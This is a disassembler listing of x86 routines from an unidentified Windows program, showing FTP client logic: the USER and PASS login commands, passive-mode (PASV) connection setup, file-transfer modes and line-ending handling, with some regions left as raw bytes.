push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_436F12 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42CF1A test eax, eax jg short loc_42CF51 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42CF56 mov eax, [esp+11Ch+var_104] jmp short loc_42CEC0 ; --------------------------------------------------------------------------- loc_42CF1A: ; CODE XREF: sub_42CE80+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: sub_42CE80+7Dj mov edi, 1 loc_42CF56: ; CODE XREF: sub_42CE80+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF63: ; CODE XREF: sub_42CE80+19j ; sub_42CE80+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42CE80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CFC0: ; CODE XREF: ___:00401410j mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42D06F ; default jmp off_42D074[eax*4] ; switch jump loc_42CFD7: ; DATA XREF: ___:off_42D074o mov eax, [esp+8] ; jumptable 0042CFD0 case 0 cmp eax, 1 jz short loc_42CFE9 cmp eax, 2 jnz loc_42D06F ; default loc_42CFE9: ; CODE XREF: ___:0042CFDEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42CFF8: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o push esi ; jumptable 0042CFD0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42D04C: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D05F: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42D06F: ; CODE XREF: ___:0042CFCAj ; ___:0042CFE3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r dd offset loc_42CFF8 ; jump table for switch statement dd offset loc_42D00B dd offset loc_42D04C dd offset loc_42D05F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D0D0 proc near ; CODE XREF: sub_402243j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov edi, dword_50FA60 push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42D13D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42D1A0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D161: ; CODE XREF: sub_42D0D0+1Bj ; sub_42D0D0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42D0D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p ; sub_42D0D0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42D1C3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D1C3: ; CODE XREF: sub_42D1A0+15j mov eax, dword_50E3DC mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42D1EC mov eax, dword_50FA84 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax call near ptr 77C40E13h nop add esp, 0Ch loc_42D1EC: ; CODE XREF: sub_42D1A0+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42D20C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D20C: ; CODE XREF: sub_42D1A0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CE4 push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_436F00 sub_42D1A0 endp ; --------------------------------------------------------------------------- db 85h dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42D2C0 proc near ; CODE XREF: sub_401F55j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42D30C cmp edi, 4 jz short loc_42D2E6 cmp edi, 3 jnz short loc_42D30C loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj ; sub_42D2C0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_50FA60 push ecx lea edx, [esp+114h+var_100] push offset dword_445504 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42D1A0 add esp, 18h test eax, eax jz loc_42D4CE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42D4BF ; default jmp off_42D4DC[eax*4] ; switch jump loc_42D358: ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454FC ; jumptable 0042D351 case 1 mov dl, byte_445500 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D373: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov eax, dword_4454F4 ; jumptable 0042D351 case 2 mov cl, byte_4454F8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D38D: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov edx, dword_4454EC ; jumptable 0042D351 case 3 mov al, byte_4454F0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D3A7: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454E4 ; jumptable 0042D351 case 4 mov dl, byte_4454E8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j ; sub_42D2C0+CBj ... test esi, esi jz short loc_42D413 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42D4CE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42D413: ; CODE XREF: sub_42D2C0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42D580 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42D4CE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42D468 mov eax, [esi] push eax call sub_401BDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D468: ; CODE XREF: sub_42D2C0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42D4AF mov eax, [esi] push ebx push eax call sub_42DA60 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42D4AF mov ecx, [esi] push ecx call sub_401BDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j ; sub_42D2C0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj ; sub_42D2C0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42D2C0 endp ; --------------------------------------------------------------------------- align 4 off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r dd offset loc_42D373 ; jump table for switch statement dd offset loc_42D38D dd offset loc_42D3A7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42D8A4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42D5E2 cmp eax, 2 jz short loc_42D5E2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D5E2: ; CODE XREF: sub_42D580+3Aj ; sub_42D580+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42D614 cmp eax, 49h jz short loc_42D614 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D614: ; CODE XREF: sub_42D580+6Cj ; sub_42D580+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42D6F9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42D1A0 add esp, 0Ch test eax, eax jz loc_42D8A4 lea ecx, [ebx+44h] push 28h push ecx call near ptr 77C47660h nop add esp, 8 cmp eax, ebp jz loc_42D8A4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_436F3C ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42D6F9: ; CODE XREF: sub_42D580+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_436F2A ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44557068h, 0D7E89000h, 83778096h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44544068h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh, 0E8004455h dd 77809626h, 4C48390h, 9730E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44554468h, 0E8905200h, 778120DDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h dd 57E89000h, 83778095h, 0E85704C4h, 9662h ; --------------------------------------------------------------------------- loc_42D8A4: ; CODE XREF: sub_42D580+2Bj ; sub_42D580+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42D580 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h dd 75144689h, 5438682Ch, 0E8900044h, 77809516h, 5704C483h dd 9621E8h, 30E85600h, 90777FE9h, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42DAA2 mov ecx, eax loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_436F12 sub_42DA60 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 0E8000001h, 777F17F8h, 50008B90h, 972CE890h dd 0C4837780h, 44C68304h, 0B5E85650h, 9077819Fh, 83084B8Bh dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42DC81 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DC81: ; CODE XREF: sub_42DC70+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DC9D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42CC50 add esp, 0Ch jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DC9D: ; CODE XREF: sub_42DC70+17j call sub_42CE80 add esp, 4 cmp eax, 1 jz short loc_42DCAF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCAF: ; CODE XREF: sub_42DC70+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DCD0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCD0: ; CODE XREF: sub_42DC70+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42DD0F mov eax, [esi+3Ch] test eax, eax jz short loc_42DD0F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42DD0F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42DD08 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DD08: ; CODE XREF: sub_42DC70+93j mov dword ptr [esi+40h], 0 loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj ; sub_42DC70+76j ... mov eax, edi pop edi pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD50 proc near ; CODE XREF: sub_4021F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42DD61 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DD61: ; CODE XREF: sub_42DD50+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DD7D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DE20 add esp, 0Ch jmp short loc_42DD9A ; --------------------------------------------------------------------------- loc_42DD7D: ; CODE XREF: sub_42DD50+17j call sub_42CE80 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_436F00 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DDA6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42DDDC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42DDDC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42DDDC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42DDDC: ; CODE XREF: sub_42DD50+63j ; sub_42DD50+6Aj ... mov eax, edi pop edi pop esi retn sub_42DD50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p ; sub_42DFD0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42DE3C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42DE3C: ; CODE XREF: sub_42DE20+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42DF64 loc_42DE4D: ; CODE XREF: sub_42DE20+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42DE8E cmp al, 0Dh jz short loc_42DE8E cmp esi, 2000h jnz short loc_42DE89 push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DEF1 xor esi, esi loc_42DE89: ; CODE XREF: sub_42DE20+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42DE8E: ; CODE XREF: sub_42DE20+35j ; sub_42DE20+39j cmp esi, 2000h jnz short loc_42DEBC push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DF11 xor esi, esi loc_42DEBC: ; CODE XREF: sub_42DE20+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42DE4D test esi, esi jz loc_42DF64 push ebp call sub_42CE80 add esp, 4 test eax, eax jnz short loc_42DF31 loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej ; sub_42DE20+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DEF1: ; CODE XREF: sub_42DE20+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF11: ; CODE XREF: sub_42DE20+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" call near ptr 77C4186Ah nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF31: ; CODE XREF: sub_42DE20+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_436F00 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h, 90004455h dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42DF64: ; CODE XREF: sub_42DE20+27j ; sub_42DE20+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42DE20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DFD0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42E04B dec eax jz short loc_42E000 dec eax jz short loc_42DFEC loc_42DFE4: ; CODE XREF: sub_42DFD0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DFD0+12j mov eax, [esi+14h] test eax, eax jz short loc_42E000 push esi push 0 push 0 call sub_42DE20 add esp, 0Ch loc_42E000: ; CODE XREF: sub_42DFD0+Fj ; sub_42DFD0+21j mov eax, [esi+14h] push ebx mov ebx, dword_50FAC4 test eax, eax jz short loc_42E014 push eax call ebx ; free add esp, 4 loc_42E014: ; CODE XREF: sub_42DFD0+3Cj mov eax, [esi+8] push 2 push eax call sub_436F9C ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_436F06 ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42DFE4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42CB10 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E04B: ; CODE XREF: sub_42DFD0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42E062 push esi mov dword ptr [esi+1Ch], 0 call sub_401BDB add esp, 4 loc_42E062: ; CODE XREF: sub_42DFD0+80j mov edx, [esi+8] push edx call sub_436F06 sub_42DFD0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0A9h, 0E1h ; --------------------------------------------------------------------------- jg short loc_42E0E9 add esp, 4 xor eax, eax pop edi pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E0B0: ; CODE XREF: ___:00401CE4j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E0D9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E0D9: ; CODE XREF: 